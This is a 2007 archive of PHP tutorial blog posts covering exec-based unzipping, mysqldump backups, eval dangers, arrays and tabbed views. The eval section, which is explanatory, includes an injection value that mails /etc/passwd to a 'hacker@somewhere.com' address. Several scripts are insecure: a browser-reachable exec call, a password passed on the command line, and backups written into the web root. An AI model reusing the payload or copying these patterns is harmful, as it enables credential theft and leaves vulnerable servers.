Archive for December, 2007
PHP – Unzip File from Browser
I won’t pretend to be an expert, but I thought I’d save the next person the grief of going through the SSH dramas again. Many people who have experience upload an entire site from localhost to remote server knows it really really take a while to upload a gazillion files at once. Professionals use SSH clients to do this task. They first zip all the files up, upload through FTP (which is much faster than upload an uncompressed folder), and unzip it using SSH client. But if you are one of the folks who is new to IT and just want a quick and dirty way to do it without knowing what the heck is SSH. Here is a quick and dirty way for you. Step 1: Write a PHP file called unzip.php with the following line of code in it (yes, you hear me right, only one line of code) : exec(”unzip myentiresite.zip”); Step 2: After you have created the unzip.php, zip your entire site up, and name it myentiresite.zip or whatever name you want that correspond to the file name in the PHP file. Step 3: Now upload both the ZIP file and the unzip.php file to the remote server. Step 4: From your browser, point to the URL your unzip.php is located at. And you are done, refresh your FTP client, and your should be able to see the decompressed files.
Backup Export MySQL Database Using PHP
For people who don’t have phpMyAdmin or MySQL Administrator. There is a quick and easy way to backup mysql database using PHP from browser. Below is the code, follow the command you will know how to customize and make it work in your case. Enjoy!
<?php
// Enter your MySQL access data
$host= 'MySQL host';
$user= 'database username';
$pass= 'database password';
$db= 'database name';
// Enter the directory the sql file will be created at.
// For example, if you have a web site www.example.com,
// and you want the sql file to be generated at
// www.example.com/backups, then $backupdir = 'backups';
$backupdir = 'backups';
// Compute the time the sql file's generated.
$today = getdate();
$day = $today[mday];
if ($day < 10) {
$day = "0$day";
}
$month = $today[mon];
if ($month < 10) {
$month = "0$month";
}
$year = $today[year];
$hour = $today[hours];
$min = $today[minutes];
$sec = "00";
// Execute mysqldump command.
// It will produce a file named $db-$year$month$day-$hour$min.gz
// under $DOCUMENT_ROOT/$backupdir
system(sprintf(
'mysqldump --opt -h %s -u %s -p%s %s | gzip > %s/%s/%s-%s%s%s-%s%s.gz',
$host,
$user,
$pass,
$db,
getenv('DOCUMENT_ROOT'),
$backupdir,
$db,
$year,
$month,
$day,
$hour,
$min
));
echo '+DONE';
?>
PHP eval is evil
JSON creator Douglas Crockford more than once pointed out that: in JavaScript, eval is evil. Well in PHP, eval is also almost always evil (though some people say it can be useful in a few limited cases). I personally have no guts to use it. Allowing any user-supplied data to go into an eval( ) call is asking to be hacked.
eval( ) has aliases. Do not use the /e option with preg_replace( ), the preg_replace( ) function with the /e option also calls eval( ) on PHP code, especially if you use any user-entered data in the calls.
So what does eval do? In eval ( string $code_str ), eval evaluates the string given in code_str as PHP code. Imagine you get a form username input field value using eval($_POST['username']), if the hacker type the following value in the input field: mail("hacker@somewhere.com", "Some passwords", '/bin/cat /etc/passwd'). You will be sending your server password to the hacker.
So don’t use eval unless you are suicidal. ;)
PHP Hack – Timing Function Execution
Sometimes when you do performence tuning, you would like to see how long a function takes to execute. To determine how much time a single function takes to execute, you can either use a full benchmarking package like PEAR Benchmark, or instead, you can get the information you need from the PHP build-in function – microtime( ) .
Let’s see how microtime( ) works, below is a demo to calculate the time takes to execute PHP’s basic md5( ) function and hash( )function in PHP 5.1.2,
<!--p<--> $long_str = 'Crosby, Stills, Nash, and Young';
$start = microtime(true);
$hashA = md5($long_str);
$elapsed = microtime(true) - $start;
$sha1_start = microtime(true);
$hashB = hash('md5', $long_str);
$shal_elapsed = microtime(true) - $sha1_start;
echo "md5 took $elapsed seconds.
";
echo "hash took $shal_elapsed seconds.
";
?>
The idea of the code above is: to compare time in milliseconds before running the function against the time in milliseconds after running the function to see the elapsed time spent in the function itself.
The absolute time difference between md5( ) and hash( ) is on the order of a tenth of a millisecond. If you’re computing thousands or millions of hashes at a time, it makes sense to insert the extra runtime calculations that choose the fastest functions. But the fraction of a fraction of a breath of time saved in a handful of hash computations isn’t worth the extra complexity.
PHP Hack – Set Image Size
If you don’t specify height and width attributes on the img tag on a web page, the page will jerk around as it’s being downloaded. Well, setting each image’s height and width can be tedious, there is a PHP funciton called getimagesize that can dynamically retrieve the actual width and height of an image. Let’s use an image of our Finding Nemo celebrity Dory to make an example:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>PHP Size Image</title>
</head>
<?php
function placegraphic($file) {
list($width, $height) = getimagesize($file);
echo "<img src=\"$file\" width=\"$width\" height=\"$height\" />";
}
?>
<body>
<?php placegraphic("../images/icons/nemo/dory-256x256.png"); ?>
</body>
</html>
Below is the demo page link and source code link:
PHP Tabbed Views
Sometimes there is just too much data to put onto one web page. We can write a PHP script to enable developers to create navigable tabbed views of content. Below is the sample code to show my favorite Irish music artist Van Morrison’s three most important albums using tabs. (I know each of these materpieces deserves an entire page, but for the demo purpose, let’s just squeeze them together.) First let’s build the content page, index.php.
<?php
require_once('tabs.php');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<?php tabs_header(); ?>
</head>
<body>
<div style="width:600px;">
<?php tabs_start(); ?>
<?php tab('Astral Weeks'); ?>
<p>Astral Weeks is a...release.</p>
<?php tab('Moondance'); ?>
<p>Moondance is the third solo album by Northern Irish singer...and even jazz (most obviously on the title track).</p>
<?php tab('Saint Dominic\'s Preview'); ?>
<p>Saint Dominic's Preview is an album by Northern Irish singer...songwriter genre.</p>
<?php tabs_end(); ?>
</div>
</body>
</html>
Now let’s build the module (component) tabs.php that controls it.
<?php
$tabs = array();
function tabs_header() {
?>
<style type="text/css">
a {
text-decoration:none;
color:#3399FF;
}
.tab {
border-bottom: 1px solid #3399FF;
text-align: center;
font-family: Verdana;}
.tab-active {
border-left: 1px solid #3399FF;
border-top: 1px solid #3399FF;
border-right: 1px solid #3399FF;
text-align: center;
font-family: Verdana;
font-weight: bold;}
.tab-content {
padding: 5px;
border-left: 1px solid #3399FF;
border-right: 1px solid #3399FF;
border-bottom: 1px solid #3399FF;}
</style>
<?php
}
function tabs_start() {
ob_start();
}
function endtab() {
global $tabs;
$text = ob_get_clean();
$tabs[ count( $tabs ) - 1 ][ 'text' ] = $text;
ob_start();
}
function tab($title) {
global $tabs;
if ( count( $tabs ) > 0 ) {
endtab();
}
$tabs []= array(
title => $title,
text => ""
);
}
function tabs_end() {
global $tabs;
endtab( );
ob_end_clean( );
$index = 0;
if ($_GET['tabindex']) {
$index = $_GET['tabindex'];
}
?>
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<?php
$baseuri = $_SERVER['REQUEST_URI'];
$baseuri = preg_replace( "/\?.*$/", "", $baseuri );
$curindex = 0;
foreach($tabs as $tab) {
$class = "tab";
if ( $index == $curindex ) {
$class ="tab-active";
}
?>
<td class="<?php echo($class); ?>">
<a href="<?php echo( $baseuri."?tabindex=".$curindex ); ?>">
<?php echo( $tab['title'] ); ?>
</a>
</td>
<?php
$curindex += 1;
}
?>
</tr>
<tr><td class="tab-content" colspan="<?php echo( count( $tabs ) + 1 ); ?>">
<?php echo( $tabs[$index ]['text'] ); ?>
</td></tr>
</table>
<?php
}
?>
A demo page can be seen at:
http://www.lab.highub.com/php/tabview/
Take note there is one flaw of this script, it’s not search engine friendly, for example, by clicking on the second tab, the uri ends with: tabindex=1.
This is just a demo of using PHP to program tabView, please modify it before using it for serious business.
PHP – Traversing Arrays
The most common task with arrays is to do something with every element, this task is called traverse arrays. There are many ways to do so, and the one you choose will depend on your data and the task you’re performing.
The foreach Construct
The most common way to loop over elements of an array is to use the foreach construct:
$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');
foreach ($person as $key => $value) {
echo "Fred's $key is $value\n";
}
/* output:
Fred's name is Fred
Fred's age is 35
Fred's wife is Wilma
*/
The Iterator Functions
Every PHP array keeps track of the current element you’re working with; the pointer to the current element is known as the iterator. PHP has functions to set, move, and reset this iterator. The each( ) function is one of those functions, it’s used to loop over the elements of an array. It processes elements according to their internal order. This approach does not make a copy of the array, as foreach does. This is useful for very large arrays when you want to conserve memory. The iterator functions are useful when you need to consider some parts of the array separately from others.
reset($addresses);
while (list($key, $value) = each($addresses)) {
echo "$key is $value<BR>\n";
}
/* output:
0 is spam@cyberpromo.net
1 is abuse@example.com
*/
Using a for Loop
If you know that you are dealing with an indexed array, where the keys are consecutive integers beginning at 0, you can use a for loop to count through the indices. The for loop operates on the array itself, not on a copy of the array, and processes elements in key order regardless of their internal order.
$addresses = array('spam@cyberpromo.net', 'abuse@example.com');
for($i = 0; $i < count($addresses); $i++) {
$value = $addresses[$i];
echo "$value\n";
}
/* output:
spam@cyberpromo.net
abuse@example.com
*/
Calling a Function for Each Array Element
PHP provides a mechanism, array_walk( ), for calling a user-defined function once per element in an array. The function you define takes in two or, optionally, three arguments: the first is the element’s value, the second is the element’s key, and the third is a value supplied to array_walk( ) when it is called.
function print_row($value, $key, $color) {
print("<tr><td bgcolor=$color>$value</td><td bgcolor=$color>$key</td></tr>\n");
}
$person = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');
echo '<table border=1>';
array_walk($person, 'print_row', 'lightblue');
echo '</table>';
PHP Array – Stacks and State Debugger
In computer science, a stack is an abstract data type and data structure based on the principle of Last In First Out (LIFO). A LIFO structure can be illustrated with the example of a narrow, crowded elevator with a small door. When the elevator reaches its destination, the last people to get on have to be the first to get off. (quoted from Wikipedia)
We can create stacks using four PHP functions, let’s first take a look at them:
array_push( ) – treats array as a stack, and pushes the passed variables onto the end of array . Example of usage:
<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
/*The above example will output:
Array
(
[0] => orange
[1] => banana
[2] => apple
[3] => raspberry
)*/
?>
array_pop( ) - pops and returns the last value of the array , shortening the array by one element. Example of usage:
<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
/*The above example will output:
Array
(
[0] => orange
[1] => banana
[2] => apple
)
*/
?>
array_shift() – shifts the first value of the array off and returns it, shortening the array by one element and moving everything down. Example of usage:
<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
/*The above example will output:
Array
(
[0] => banana
[1] => apple
[2] => raspberry
)
*/
?>
array_unshift() - prepends passed elements to the front of the array . Example of usage:
<?php
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
/*The above example will output:
Array
(
[0] => apple
[1] => raspberry
[2] => orange
[3] => banana
)
*/
?>
We use array_push( ) because it accentuates the fact that we’re working with stacks, and the parallelism with array_pop( ) makes our code easier to read. There are also array_shift( ) and array_unshift( ) functions for treating an array like a queue.
Stacks are particularly useful for maintaining state. The programm below provides a simple state debugger that allows you to print out a list of which functions have been called up to this point (i.e., the stack trace).
$call_trace = array( );
function enter_function($name) {
global $call_trace;
array_push($call_trace, $name);
echo "Entering $name (stack is now: " . join(' -> ', $call_trace) . ')<br />';
}
function exit_function( ) {
echo 'Exiting<br />';
global $call_trace;
array_pop($call_trace);
}
function first( ) {
enter_function('first');
exit_function( );
}
function second( ) {
enter_function('second');
first( );
exit_function( );
}
function third( ) {
enter_function('third');
second( );
first( );
exit_function( );
}
first( );
third( );
PHP – Filter Odd Numbers from Array
By using the modulous operator – ampersand (%) and PHP build in array function – array_filter, we can easily filter odd numbers from array, let’s take a look at the complete code first:
function is_odd ($element) {
return $element % 2;
}
$numbers = array(9, 23, 24, 27);
$odds = array_filter($numbers, 'is_odd');
print_r($odds);
Explaination:
The modulous operator (%) returns the remainder of a division. The remainder of any even integer that is divided by two will always be zero. So if the value of $element is an even number, $element % 2 will be zero. So the equivelence of the following code
return 2% 2;
will be:
return 0;
PHP will conveniently interpret 0 as false and any non-zero as true. So the above line of code will be equivelent to:
return false;
To identify a subset of an array based on its values, use the array_filter( ) function. Each value of array is passed to the function named in callback. The returned array contains only those elements of the original array for which the function returns a true value. So by executing the code $odds = array_filter($numbers, 'is_odd');, we can filter all the odd numbers in the array.
YUI – Ajax Custom Events
I have built a Ajax custon events demo using YUI’s Ajax component Connection Manager. With the new release of YUI Button, I skinned all buttons inside the demo.
Below is the demo page:
http://www.lab.highub.com/yui/connection-manager/custom-events.html
Source code can be downloaded here:
http://www.lab.highub.com/yui/connection-manager/source-code.zip










































